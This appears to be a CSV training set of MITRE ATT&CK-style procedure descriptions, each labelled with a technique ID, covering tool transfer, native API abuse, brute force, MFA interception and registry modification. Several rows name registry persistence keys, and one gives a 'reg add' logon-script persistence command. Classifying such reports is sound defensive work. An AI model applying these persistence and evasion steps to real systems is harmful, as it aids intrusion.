ThreatNeedle can download additional tools to enable lateral movement.,['T1105 - Ingress Tool Transfer'],fine_tune
TinyTurla has the ability to act as a second-stage dropper used to infect the system with additional malware.,['T1105 - Ingress Tool Transfer'],fine_tune
Tomiris can download files and execute them on a victim's system.,['T1105 - Ingress Tool Transfer'],fine_tune
Tonto Team has downloaded malicious DLLs which served as a ShadowPad loader.,['T1105 - Ingress Tool Transfer'],fine_tune
TrickBot downloads several additional files and saves them to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
"Trojan.Karagany can upload, download, and execute files on the victim.",['T1105 - Ingress Tool Transfer'],fine_tune
Tropic Trooper has used a delivered trojan to download additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
UBoatRAT can upload and download files to the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
Unknown Logger is capable of downloading remote files.,['T1105 - Ingress Tool Transfer'],fine_tune
Ursnif has dropped payload and configuration files to disk. Ursnif has also been used to download and execute additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
VBShower has the ability to download VBS files to the target computer.,['T1105 - Ingress Tool Transfer'],fine_tune
VERMIN can download and upload files to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
"Valak has downloaded a variety of modules and payloads to the compromised host, including IcedID and NetSupport Manager RAT-based malware.",['T1105 - Ingress Tool Transfer'],fine_tune
"Valak has downloaded a variety of modules and payloads to the compromised host, including IcedID and Ursnif.",['T1105 - Ingress Tool Transfer'],fine_tune
Vasport can download files.,['T1105 - Ingress Tool Transfer'],fine_tune
Volatile Cedar can deploy additional tools.,['T1105 - Ingress Tool Transfer'],fine_tune
Volgmer can download remote files and additional payloads to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
WIRTE has downloaded PowerShell code from the C2 server to be executed.,['T1105 - Ingress Tool Transfer'],fine_tune
WarzoneRAT can download and execute additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
Waterbear can receive and load executables from remote C2 servers.,['T1105 - Ingress Tool Transfer'],fine_tune
WellMail can receive data and executable scripts from C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Whitefly has the ability to download additional tools from the C2.,['T1105 - Ingress Tool Transfer'],fine_tune
Windshift has used tools to deploy additional payloads to compromised hosts.,['T1105 - Ingress Tool Transfer'],fine_tune
Winnti Group has downloaded an auxiliary program named ff.exe to infected machines.,['T1105 - Ingress Tool Transfer'],fine_tune
"XCSSET downloads browser specific AppleScript modules using a constructed URL with the ""curl"" command, ""https://"" & domain & ""/agent/scripts/"" & moduleName & "".applescript"".",['T1105 - Ingress Tool Transfer'],fine_tune
XTunnel is capable of downloading additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
YAHOYAH uses HTTP GET requests to download other files that are executed in memory.,['T1105 - Ingress Tool Transfer'],fine_tune
ZLib has the ability to download files.,['T1105 - Ingress Tool Transfer'],fine_tune
ZeroT can download additional payloads onto the victim.,['T1105 - Ingress Tool Transfer'],fine_tune
ZxShell has a command to transfer files from a remote host.,['T1105 - Ingress Tool Transfer'],fine_tune
ZxxZ can download and execute additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
build_downer has the ability to download files from C2 to the infected host.,['T1105 - Ingress Tool Transfer'],fine_tune
can download and execute a second-stage payload.,"['T1105 - Ingress Tool Transfer', 'T1105 - Ingress Tool Transfer']",fine_tune
cmd can be used to copy files to/from a remotely connected external system.,['T1105 - Ingress Tool Transfer'],fine_tune
creates a backdoor through which remote attackers can upload files.,"['T1105 - Ingress Tool Transfer', 'T1105 - Ingress Tool Transfer']",fine_tune
esentutl can be used to copy files from a given URL.,['T1105 - Ingress Tool Transfer'],fine_tune
ftp may be abused by adversaries to transfer tools or files from an external system into a compromised environment.,['T1105 - Ingress Tool Transfer'],fine_tune
gh0st RAT can download files to the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
menuPass has installed updates and new malware on victims.,['T1105 - Ingress Tool Transfer'],fine_tune
njRAT can download files to the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
xCaon has a command to download files to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
"APT37 leverages the Windows API calls: VirtualAlloc(), WriteProcessMemory(), and CreateRemoteThread() for process injection.",['T1106 - Native API'],fine_tune
APT38 has used the Windows API to execute code within a victim's system.,['T1106 - Native API'],fine_tune
"Amadey has used a variety of Windows API calls, including `GetComputerNameA`, `GetUserNameA`, and `CreateProcessA`.",['T1106 - Native API'],fine_tune
AppleSeed has the ability to use multiple dynamically resolved API calls.,['T1106 - Native API'],fine_tune
"Aria-body has the ability to launch files using ""ShellExecute"".",['T1106 - Native API'],fine_tune
Attor's dispatcher has used CreateProcessW API for execution.,['T1106 - Native API'],fine_tune
Avaddon has used the Windows Crypto API to generate an AES key.,['T1106 - Native API'],fine_tune
BADNEWS has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.,['T1106 - Native API'],fine_tune
"BBK has the ability to use the ""CreatePipe"" API to add a sub-process for execution via cmd.",['T1106 - Native API'],fine_tune
Babuk can use multiple Windows API calls for actions on compromised hosts including discovery and execution.,['T1106 - Native API'],fine_tune
"BackConfig can leverage API functions such as ""ShellExecuteA"" and ""HttpOpenRequestA"" in the process of downloading and executing files.",['T1106 - Native API'],fine_tune
Bandook has used the ShellExecuteW() function call.,['T1106 - Native API'],fine_tune
Bankshot creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA().,['T1106 - Native API'],fine_tune
Bisonal has used the Windows API to communicate with the Service Control Manager to execute a thread.,['T1106 - Native API'],fine_tune
"BitPaymer has used dynamic API resolution to avoid identifiable strings within the binary, including ""RegEnumKeyW"".",['T1106 - Native API'],fine_tune
BlackTech has used built-in API functions.,['T1106 - Native API'],fine_tune
BloodHound can use .NET API calls in the SharpHound ingestor component to pull Active Directory data.,['T1106 - Native API'],fine_tune
BoxCaon has used Windows API calls to obtain information about the compromised host.,['T1106 - Native API'],fine_tune
Bumblebee can use multiple Native APIs.,['T1106 - Native API'],fine_tune
"CaddyWiper has the ability to dynamically resolve and use APIs, including `SeTakeOwnershipPrivilege`.",['T1106 - Native API'],fine_tune
"Chaes used the ""CreateFileW()"" API function with read permissions to access downloaded payloads.",['T1106 - Native API'],fine_tune
Chimera has used direct Windows system calls by leveraging Dumpert.,['T1106 - Native API'],fine_tune
Chrommme can use Windows API including `WinExec` for execution.,['T1106 - Native API'],fine_tune
"Clop has used built-in API functions such as WNetOpenEnumW(), WNetEnumResourceW(), WNetCloseEnum(), GetProcAddress(), and VirtualAlloc().",['T1106 - Native API'],fine_tune
"Cobalt Strike's ""beacon"" payload is capable of running shell commands without ""cmd.exe"" and PowerShell commands without ""powershell.exe""",['T1106 - Native API'],fine_tune
"ComRAT can load a PE file from memory or the file system and execute it with ""CreateProcessW"".",['T1106 - Native API'],fine_tune
Conti has used API calls during execution.,['T1106 - Native API'],fine_tune
Cuba has used several built-in API functions for discovery like GetIpNetTable and NetShareEnum.,['T1106 - Native API'],fine_tune
"Denis used the ""IsDebuggerPresent"", ""OutputDebugString"", and ""SetLastError"" APIs to avoid debugging. Denis used ""GetProcAddress"" and ""LoadLibrary"" to dynamically resolve APIs. Denis also used the ""Wow64SetThreadContext"" API as part of a process hollowing process.",['T1106 - Native API'],fine_tune
"Diavol has used several API calls like `GetLogicalDriveStrings`, `SleepEx`, `SystemParametersInfoAPI`, `CryptEncrypt`, and others to execute parts of its attack.",['T1106 - Native API'],fine_tune
Donut code modules use various API functions to load and inject code.,['T1106 - Native API'],fine_tune
"Dridex has used the ""OutputDebugStringW"" function to avoid malware analysis as part of its anti-debugging technique.",['T1106 - Native API'],fine_tune
"During Operation Honeybee, the threat actors deployed malware that used API calls, including `CreateProcessAsUser`.",['T1106 - Native API'],fine_tune
"During Operation Wocao, threat actors used the `CreateProcessA` and `ShellExecute` API functions to launch commands after being injected into a selected process.",['T1106 - Native API'],fine_tune
Egregor has used the Windows API to make detection more difficult.,['T1106 - Native API'],fine_tune
Empire contains a variety of enumeration modules that have an option to use API calls to carry out tasks.,['T1106 - Native API'],fine_tune
EvilBunny has used various API calls as part of its checks to see if the malware is running in a sandbox.,['T1106 - Native API'],fine_tune
Explosive has a function to call the OpenClipboard wrapper.,['T1106 - Native API'],fine_tune
Flagpro can use Native API to enable obfuscation including `GetLastError` and `GetTickCount`.,['T1106 - Native API'],fine_tune
FoggyWeb's loader can use API functions to load the FoggyWeb backdoor into the same Application Domain within which the legitimate AD FS managed code is executed.,['T1106 - Native API'],fine_tune
"FunnyDream can use Native API for defense evasion, discovery, and collection.",['T1106 - Native API'],fine_tune
"Gamaredon Group malware has used ""CreateProcess"" to launch additional malicious components.",['T1106 - Native API'],fine_tune
Gelsemium has the ability to use various Windows API functions to perform tasks.,['T1106 - Native API'],fine_tune
"GoldenSpy can execute remote commands in the Windows command shell using the ""WinExec()"" API.",['T1106 - Native API'],fine_tune
"Goopy has the ability to  enumerate the infected system's user name via ""GetUserNameW"".",['T1106 - Native API'],fine_tune
"Gorgon Group malware can leverage the Windows API call, CreateProcessA(), for execution.",['T1106 - Native API'],fine_tune
"Grandoreiro can execute through the ""WinExec"" API.",['T1106 - Native API'],fine_tune
"GrimAgent can use Native API including ""GetProcAddress"" and ""ShellExecuteW"".",['T1106 - Native API'],fine_tune
GuLoader can use a number of different APIs for discovery and execution.,['T1106 - Native API'],fine_tune
"HAWKBALL has leveraged several Windows API calls to create processes, gather disk information, and detect debugger activity.",['T1106 - Native API'],fine_tune
"Hancitor has used ""CallWindowProc"" and ""EnumResourceTypesA"" to interpret and execute shellcode.",['T1106 - Native API'],fine_tune
"HermeticWiper can call multiple Windows API functions used for privilege escalation, service execution, and to overwrite random bites of data.",['T1106 - Native API'],fine_tune
Higaisa has called various native OS APIs.,['T1106 - Native API'],fine_tune
"HotCroissant can perform dynamic DLL importing and API lookups using ""LoadLibrary"" and ""GetProcAddress"" on obfuscated strings.",['T1106 - Native API'],fine_tune
"HyperBro has the ability to run an application (""CreateProcessW"") or script/file (""ShellExecuteW"") via API.",['T1106 - Native API'],fine_tune
"HyperStack can use Windows API's ""ConnectNamedPipe"" and ""WNetAddConnection2"" to detect incoming connections and connect to remote shares.",['T1106 - Native API'],fine_tune
"IcedID has called ""ZwWriteVirtualMemory"", ""ZwProtectVirtualMemory"", ""ZwQueueApcThread"", and ""NtResumeThread"" to inject itself into a remote process.",['T1106 - Native API'],fine_tune
"InvisiMole can use winapiexec tool for indirect execution of  ""ShellExecuteW"" and ""CreateProcessA"".",['T1106 - Native API'],fine_tune
KOCTOPUS can use the `LoadResource` and `CreateProcessW` APIs for execution.,['T1106 - Native API'],fine_tune
KillDisk has called the Windows API to retrieve the hard disk handle and shut down the machine.,['T1106 - Native API'],fine_tune
"Lazarus Group has used the Windows API ""ObtainUserAgentString"" to obtain the User-Agent from a compromised host to connect to a C2 server. Lazarus Group has also used various, often lesser known, functions to perform various types of Discovery and Process Injection.",['T1106 - Native API'],fine_tune
LightNeuron is capable of starting a process using CreateProcess.,['T1106 - Native API'],fine_tune
Lizar has used various Windows API functions on a victim's machine.,['T1106 - Native API'],fine_tune
MacMa has used macOS API functions to perform tasks.,['T1106 - Native API'],fine_tune
MarkiRAT can run the ShellExecuteW API via the Windows Command Shell.,['T1106 - Native API'],fine_tune
Metamorfo has used native WINAPI calls.,['T1106 - Native API'],fine_tune
Milan can use the API `DnsQuery_A` for DNS resolution.,['T1106 - Native API'],fine_tune
"Mis-Type has used Windows API calls, including `NetUserAdd` and `NetUserDel`.",['T1106 - Native API'],fine_tune
"NETWIRE can use Native API including ""CreateProcess"" ""GetProcessById"", and ""WriteProcessMemory"".",['T1106 - Native API'],fine_tune
"Nebulae has the ability to use ""CreateProcess"" to execute a process.",['T1106 - Native API'],fine_tune
Netwalker can use Windows API functions to inject the ransomware DLL.,['T1106 - Native API'],fine_tune
PLEAD can use `ShellExecute` to execute applications.,['T1106 - Native API'],fine_tune
PcShare has used a variety of Windows API functions.,['T1106 - Native API'],fine_tune
Pillowmint has used multiple native Windows APIs to execute and conduct process injections.,['T1106 - Native API'],fine_tune
"PipeMon's first stage has been executed by a call to ""CreateProcess"" with the decryption password in an argument. PipeMon has used a call to ""LoadLibrary"" to load its installer.",['T1106 - Native API'],fine_tune
"PolyglotDuke can use ""LoadLibraryW"" and ""CreateProcess"" to load and execute code.",['T1106 - Native API'],fine_tune
Pteranodon has used various API calls.,['T1106 - Native API'],fine_tune
"QakBot can use ""GetProcAddress"" to help delete malicious strings from memory.",['T1106 - Native API'],fine_tune
"RCSession can use WinSock API for communication including ""WSASend"" and ""WSARecv"".",['T1106 - Native API'],fine_tune
REvil can use Native API for execution and to retrieve active services.,['T1106 - Native API'],fine_tune
ROKRAT can use a variety of API calls to execute shellcode.,['T1106 - Native API'],fine_tune
Rising Sun used dynamic API resolutions to various Windows APIs by leveraging `LoadLibrary()` and `GetProcAddress()`.,['T1106 - Native API'],fine_tune
SILENTTRINITY has the ability to leverage API including `GetProcAddress` and `LoadLibrary`.,['T1106 - Native API'],fine_tune
"SUNSPOT used Windows API functions such as ""MoveFileEx"" and ""NtQueryInformationProcess"" as part of the SUNBURST injection process.",['T1106 - Native API'],fine_tune
"Sharpshooter's first-stage downloader resolved various Windows libraries and APIs, including LoadLibraryA(), GetProcAddress(), and CreateProcessA().",['T1106 - Native API'],fine_tune
ShimRat has used Windows API functions to install the service and shim.,['T1106 - Native API'],fine_tune
ShimRatReporter used several Windows API functions to gather information from the infected system.,['T1106 - Native API'],fine_tune
SideCopy has executed malware by calling the API function `CreateProcessW`.,['T1106 - Native API'],fine_tune
"SideTwist can use ""GetUserNameW"", ""GetComputerNameW"", and ""GetComputerNameExW"" to gather information.",['T1106 - Native API'],fine_tune
Siloscape makes various native API calls.,['T1106 - Native API'],fine_tune
"SodaMaster can use ""RegOpenKeyW"" to access the Registry.",['T1106 - Native API'],fine_tune
"SombRAT has the ability to respawn itself using ""ShellExecuteW"" and ""CreateProcessW"".",['T1106 - Native API'],fine_tune
Stuxnet uses the SetSecurityDescriptorDacl API to reduce object integrity levels.,['T1106 - Native API'],fine_tune
SynAck parses the export tables of system DLLs to locate and call various Windows API functions.,['T1106 - Native API'],fine_tune
"The file collection tool used by RainyDay can utilize native API including ""ReadDirectoryChangeW"" for folder monitoring.",['T1106 - Native API'],fine_tune
ThiefQuest uses various API to perform behaviors such as executing payloads and performing local enumeration.,['T1106 - Native API'],fine_tune
Torisma has used various Windows API calls.,['T1106 - Native API'],fine_tune
Turla and its RPC backdoors have used APIs calls for various tasks related to subverting AMSI and accessing then executing commands through RPC and/or named pipes.,['T1106 - Native API'],fine_tune
"Ursnif has used ""CreateProcessW"" to create child processes.",['T1106 - Native API'],fine_tune
Volgmer executes payloads using the Windows API call CreateProcessW().,['T1106 - Native API'],fine_tune
WarzoneRAT can use a variety of API calls on a compromised host.,['T1106 - Native API'],fine_tune
"WastedLocker's custom crypter, CryptOne, leveraged the VirtualAlloc() API function to help execute the payload.",['T1106 - Native API'],fine_tune
Waterbear can leverage API functions for execution.,['T1106 - Native API'],fine_tune
WhisperGate has used the `ExitWindowsEx` API to flush file buffers to disk and stop running processes.,['T1106 - Native API'],fine_tune
"WindTail can invoke Apple APIs ""contentsOfDirectoryAtPath"", ""pathExtension"", and (string) ""compare"".",['T1106 - Native API'],fine_tune
Winnti for Windows can use Native API to create a new process and to start services.,['T1106 - Native API'],fine_tune
"ZxxZ has used API functions such as `Process32First`, `Process32Next`, and `ShellExecuteA`.",['T1106 - Native API'],fine_tune
"build_downer has the ability to use the ""WinExec"" API to execute malware on a compromised host.",['T1106 - Native API'],fine_tune
"menuPass has used native APIs including ""GetModuleFileName"", ""lstrcat"", ""CreateFile"", and ""ReadFile"".",['T1106 - Native API'],fine_tune
xCaon has leveraged native OS function calls to retrieve  victim's network adapter's  information using GetAdapterInfo() API.,['T1106 - Native API'],fine_tune
APT34 has used brute force techniques to obtain credentials.,['T1110 - Brute Force'],fine_tune
APT38 has used brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable.,['T1110 - Brute Force'],fine_tune
APT39 has used Ncrack to reveal credentials.,['T1110 - Brute Force'],fine_tune
Caterpillar WebShell has a module to perform brute force attacks on a system.,['T1110 - Brute Force'],fine_tune
Chaos conducts brute force attacks against SSH services to gain initial access.,['T1110 - Brute Force'],fine_tune
"Dragonfly dropped and executed Hydra, a password cracker.",['T1110 - Brute Force'],fine_tune
FIN5 has has used the tool GET2 Penetrator to look for remote login and hard-coded credentials.,['T1110 - Brute Force'],fine_tune
Fox Kitten has brute forced RDP credentials.,['T1110 - Brute Force'],fine_tune
HEXANE has used brute force attacks to compromise valid credentials.,['T1110 - Brute Force'],fine_tune
Kinsing has attempted to brute force hosts over SSH.,['T1110 - Brute Force'],fine_tune
Lazarus Group has performed brute force attacks against administrator accounts.,['T1110 - Brute Force'],fine_tune
OilRig has used brute force techniques to obtain credentials.,['T1110 - Brute Force'],fine_tune
"Pysa has used brute force attempts against a central management console, as well as some Active Directory accounts.",['T1110 - Brute Force'],fine_tune
QakBot can conduct brute force attacks to capture credentials.,['T1110 - Brute Force'],fine_tune
"APT28 has used a brute-force/password-spray tooling that operated in two modes: in brute-force mode it typically sent over 300 authentication attempts per hour per targeted account over the course of several hours or days. APT28 has also used a Kubernetes cluster to conduct distributed, large-scale password guessing attacks.",['T1110.001 - Brute Force: Password Guessing'],fine_tune
China Chopper's server component can perform brute force password guessing against authentication portals.,['T1110.001 - Brute Force: Password Guessing'],fine_tune
CrackMapExec can brute force passwords for a specified user on a single target system or across an entire network.,['T1110.001 - Brute Force: Password Guessing'],fine_tune
Emotet has been observed using a hard coded list of passwords to brute force user accounts.,['T1110.001 - Brute Force: Password Guessing'],fine_tune
HermeticWizard can use a list of hardcoded credentials in attempt to authenticate to SMB shares.,['T1110.001 - Brute Force: Password Guessing'],fine_tune
Lucifer has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and    passwords.,['T1110.001 - Brute Force: Password Guessing'],fine_tune
"P.A.S. Webshell can use predefined users and passwords to execute brute force attacks against SSH, FTP, POP3, MySQL, MSSQL, and PostgreSQL services.",['T1110.001 - Brute Force: Password Guessing'],fine_tune
Pony has used a small dictionary of common passwords against a collected list of local accounts.,['T1110.001 - Brute Force: Password Guessing'],fine_tune
SpeakUp can perform brute forcing using a pre-defined list of usernames and passwords in an attempt to log in to administrative panels.,['T1110.001 - Brute Force: Password Guessing'],fine_tune
Xbash can obtain a list of weak passwords from the C2 server to use for brute forcing as well as attempt to brute force services with open ports.,['T1110.001 - Brute Force: Password Guessing'],fine_tune
APT3 has been known to brute force password hashes to be able to leverage plain text credentials.,['T1110.002 - Brute Force: Password Cracking'],fine_tune
APT41 performed password brute-force attacks on the local admin account.,['T1110.002 - Brute Force: Password Cracking'],fine_tune
"Dragonfly 2.0 dropped and executed tools used for password cracking, including Hydra and CrackMapExec.",['T1110.002 - Brute Force: Password Cracking'],fine_tune
"Dragonfly has dropped and executed tools used for password cracking, including Hydra and CrackMapExec.",['T1110.002 - Brute Force: Password Cracking'],fine_tune
"During Night Dragon, threat actors used Cain & Abel to crack password hashes.",['T1110.002 - Brute Force: Password Cracking'],fine_tune
FIN6 has extracted password hashes from ntds.dit to crack offline.,['T1110.002 - Brute Force: Password Cracking'],fine_tune
Net Crawler uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network.,['T1110.002 - Brute Force: Password Cracking'],fine_tune
"APT28 has used a brute-force/password-spray tooling that operated in two modes: in password-spraying mode it conducted approximately four authentication attempts per hour per targeted account over the course of several days or weeks. APT28 has also used a Kubernetes cluster to conduct distributed, large-scale password spray attacks.",['T1110.003 - Brute Force: Password Spraying'],fine_tune
APT29 has conducted brute force password spray attacks.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
APT33 has used password spraying to gain access to target systems.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
"Bad Rabbit’s ""infpub.dat"" file uses NTLM login credentials to brute force Windows machines.",['T1110.003 - Brute Force: Password Spraying'],fine_tune
Chimera has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
CrackMapExec can brute force credential authentication by using a supplied list of usernames and a single password.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
HEXANE has used password spraying attacks to obtain valid credentials.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
"Lazarus Group malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.",['T1110.003 - Brute Force: Password Spraying'],fine_tune
Leafminer used a tool called Total SMB BruteForcer to perform internal password spraying.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
Linux Rabbit brute forces SSH passwords in order to attempt to gain access and install its malware onto the server.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
Sandworm Team has used a script to attempt RPC authentication against a number of hosts.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
Silent Librarian has used collected lists of names and e-mail accounts to use in password spraying attacks against private sector targets.,['T1110.003 - Brute Force: Password Spraying'],fine_tune
Chimera has used credential stuffing against victim's remote services to obtain valid accounts.,['T1110.004 - Brute Force: Credential Stuffing'],fine_tune
TrickBot uses brute-force attack against RDP with rdpscanDll module.,['T1110.004 - Brute Force: Credential Stuffing'],fine_tune
Chimera has registered alternate phone numbers for compromised users to intercept 2FA codes sent via SMS.,['T1111 - Multi-Factor Authentication Interception'],fine_tune
LAPSUS$ has replayed stolen session token and passwords to trigger simple-approval MFA prompts in hope of the legitimate user will grant necessary approval.,['T1111 - Multi-Factor Authentication Interception'],fine_tune
Operation Wocao has used a custom collection method to intercept two-factor authentication soft tokens.,['T1111 - Multi-Factor Authentication Interception'],fine_tune
Sykipot is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.,['T1111 - Multi-Factor Authentication Interception'],fine_tune
A Patchwork payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.,['T1112 - Modify Registry'],fine_tune
ADVSTORESHELL is capable of setting and deleting Registry values.,['T1112 - Modify Registry'],fine_tune
APT19 uses a Port 22 malware variant to modify several Registry keys.,['T1112 - Modify Registry'],fine_tune
APT41 used a malware variant called GOODLUCK to modify the registry in order to steal credentials.,['T1112 - Modify Registry'],fine_tune
Agent Tesla can achieve persistence by modifying Registry key entries.,['T1112 - Modify Registry'],fine_tune
Amadey has overwritten registry keys for persistence.,['T1112 - Modify Registry'],fine_tune
Attor's dispatcher can modify the Run registry key.,['T1112 - Modify Registry'],fine_tune
"BACKSPACE is capable of deleting Registry keys, sub-keys, and values on a victim system.",['T1112 - Modify Registry'],fine_tune
"BADCALL modifies the firewall Registry key ""SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileGloballyOpenPorts\\List"".",['T1112 - Modify Registry'],fine_tune
"Bankshot writes data into the Registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Pniumj"".",['T1112 - Modify Registry'],fine_tune
BitPaymer can set values in the Registry to help in execution.,['T1112 - Modify Registry'],fine_tune
Blue Mockingbird has used Windows Registry modifications to specify a DLL payload.,['T1112 - Modify Registry'],fine_tune
"CSPY Downloader can write to the Registry under the ""%windir%"" variable to execute tasks.",['T1112 - Modify Registry'],fine_tune
"Cardinal RAT sets ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load"" to point to its executable.",['T1112 - Modify Registry'],fine_tune
Caterpillar WebShell has a command to modify a Registry key.,['T1112 - Modify Registry'],fine_tune
CharmPower can remove persistence-related artifacts from the Registry.,['T1112 - Modify Registry'],fine_tune
Clambling can set and delete Registry keys.,['T1112 - Modify Registry'],fine_tune
Clop can make modifications to Registry keys.,['T1112 - Modify Registry'],fine_tune
ComRAT has encrypted and stored its orchestrator code in the Registry as well as a PowerShell script into the WsqmCons Registry key.,['T1112 - Modify Registry'],fine_tune
"Conficker adds keys to the Registry at ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services"" and various other Registry locations.",['T1112 - Modify Registry'],fine_tune
CrackMapExec can create a registry key using wdigest.,['T1112 - Modify Registry'],fine_tune
Crimson can set a Registry key to determine how long it has been installed and possibly to indicate the version number.,['T1112 - Modify Registry'],fine_tune
DCSrv has created Registry keys for persistence.,['T1112 - Modify Registry'],fine_tune
"During Operation Honeybee, the threat actors used batch files that modified registry keys.",['T1112 - Modify Registry'],fine_tune
EVILNUM can make modifications to the Regsitry for persistence.,['T1112 - Modify Registry'],fine_tune
"Earth Lusca modified the registry using the command ""reg add “HKEY_CURRENT_USER\Environment” /v UserInitMprLogonScript /t REG_SZ /d “[file path]”"" for persistence.",['T1112 - Modify Registry'],fine_tune
Ember Bear has used an open source batch script to modify Windows Defender registry keys.,['T1112 - Modify Registry'],fine_tune
Exaramel for Windows adds the configuration to the Registry in XML format.,['T1112 - Modify Registry'],fine_tune
Explosive has a function to write itself to Registry values.,['T1112 - Modify Registry'],fine_tune
"FELIXROOT deletes the Registry key ""HKCU\Software\Classes\Applications\rundll32.exe\shell\open"".",['T1112 - Modify Registry'],fine_tune
Ferocious has the ability to add a Class ID in the current user Registry hive to enable persistence mechanisms.,['T1112 - Modify Registry'],fine_tune
Gelsemium has the ability to store its components in the Registry.,['T1112 - Modify Registry'],fine_tune
"Gorgon Group malware can deactivate security mechanisms in Microsoft Office by editing several keys and values under ""HKCU\Software\Microsoft\Office\"".",['T1112 - Modify Registry'],fine_tune
"Grandoreiro can store its configuration in the Registry at ""HKCU\Software\"" under frequently changing names including ""%USERNAME%"" and ""ToolTech-RM"".",['T1112 - Modify Registry'],fine_tune
GreyEnergy modifies conditions in the Registry and adds keys.,['T1112 - Modify Registry'],fine_tune
HOPLIGHT has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system.,['T1112 - Modify Registry'],fine_tune
"HermeticWiper has the ability to modify Registry keys to disable crash dumps, colors for compressed files, and pop-up information about folders and desktop items.",['T1112 - Modify Registry'],fine_tune
Honeybee uses a batch file that modifies Registry keys to launch a DLL into the svchost.exe process.,['T1112 - Modify Registry'],fine_tune
"Hydraq creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. Hydraq's backdoor also enables remote attackers to modify and delete subkeys.",['T1112 - Modify Registry'],fine_tune
"HyperStack can add the name of its communication pipe to ""HKLM\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\NullSessionPipes"".",['T1112 - Modify Registry'],fine_tune
"InvisiMole has a command to create, set, copy, or delete a specified Registry key or value.",['T1112 - Modify Registry'],fine_tune
"KEYMARBLE has a command to create Registry entries for storing data under ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\WABE\DataPath"".",['T1112 - Modify Registry'],fine_tune
"KONNI has modified registry keys of ComSysApp, Svchost, and xmlProv on the machine to gain persistence.",['T1112 - Modify Registry'],fine_tune
Kimsuky has modified Registry settings for default file associations to enable all macros and for persistence.,['T1112 - Modify Registry'],fine_tune
"LoJax has modified the Registry key ""‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute’"" from ""‘autocheck autochk *’"" to ""‘autocheck autoche *’"".",['T1112 - Modify Registry'],fine_tune
Magic Hound has modified Registry settings for security tools.,['T1112 - Modify Registry'],fine_tune
MegaCortex has added entries to the Registry for ransom contact information.,['T1112 - Modify Registry'],fine_tune
"Metamorfo has written process names to the Registry, disabled IE browser features, deleted Registry keys, and changed the ExtendedUIHoverTime key.",['T1112 - Modify Registry'],fine_tune
"Mosquito stores configuration values under the Registry key ""HKCU\Software\Microsoft\[dllname]"" and modifies Registry keys under ""HKCR\CLSID\...\InprocServer32""with a path to the launcher.",['T1112 - Modify Registry'],fine_tune
NETWIRE stores its configuration file within the Registry.,['T1112 - Modify Registry'],fine_tune
NanoCore has the capability to edit the Registry.,['T1112 - Modify Registry'],fine_tune
Neoichor has the ability to configure browser settings by modifying Registry entries under `HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer`.,['T1112 - Modify Registry'],fine_tune
Nerex creates a Registry subkey that registers a new service.,"['T1112 - Modify Registry', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"Once Shamoon has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting ""SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy"" to 1.",['T1112 - Modify Registry'],fine_tune
Operation Wocao has enabled Wdigest by changing the registry value from 0 to 1.,['T1112 - Modify Registry'],fine_tune
Orz can perform Registry operations.,['T1112 - Modify Registry'],fine_tune
PHOREAL is capable of manipulating the Registry.,['T1112 - Modify Registry'],fine_tune
"PLAINTEE uses ""reg add"" to add a Registry Run key for persistence.",['T1112 - Modify Registry'],fine_tune
"Pillowmint has stored its malicious payload in the registry key ""HKLM\SOFTWARE\Microsoft\DRM"".",['T1112 - Modify Registry'],fine_tune
PipeMon has stored its encrypted payload in the Registry.,['T1112 - Modify Registry'],fine_tune
"PlugX has a module to create, delete, or modify Registry keys.",['T1112 - Modify Registry'],fine_tune
PoetRAT has made registry modifications to alter its behavior upon execution.,['T1112 - Modify Registry'],fine_tune
PoisonIvy creates a Registry subkey that registers a new system device.,['T1112 - Modify Registry'],fine_tune
PolyglotDuke can write encrypted JSON configuration files to the Registry.,['T1112 - Modify Registry'],fine_tune
"PowerShower has added a registry key so future powershell.exe instances are spawned off-screen by default, and has removed all registry entries that are left behind during the dropper process.",['T1112 - Modify Registry'],fine_tune
QuasarRAT has a command to edit the Registry on the victim’s machine.,['T1112 - Modify Registry'],fine_tune
